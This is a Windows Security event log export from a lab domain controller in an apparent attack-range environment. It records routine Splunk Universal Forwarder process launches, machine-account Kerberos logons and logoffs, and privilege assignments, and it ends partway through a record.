SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255970
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:49:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255972
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x116c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:49:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255973
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x101c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:49:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255974
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1194
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:49:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255977
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3932FF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:49:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255976
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3932FF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64951

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:49:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255975
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3932FF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:50:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255978
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:50:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255979
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x119c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:50:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255981
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbe0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:50:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255980
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:50:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255982
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1050
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:50:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255983
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:50:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255984
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x638
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:50:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255987
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39684D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:50:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255986
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x39684D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64964

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:50:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255985
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39684D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:51:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255988
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:51:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255989
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1324
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:51:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255991
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:51:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255990
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf8c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:51:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255992
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x640
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
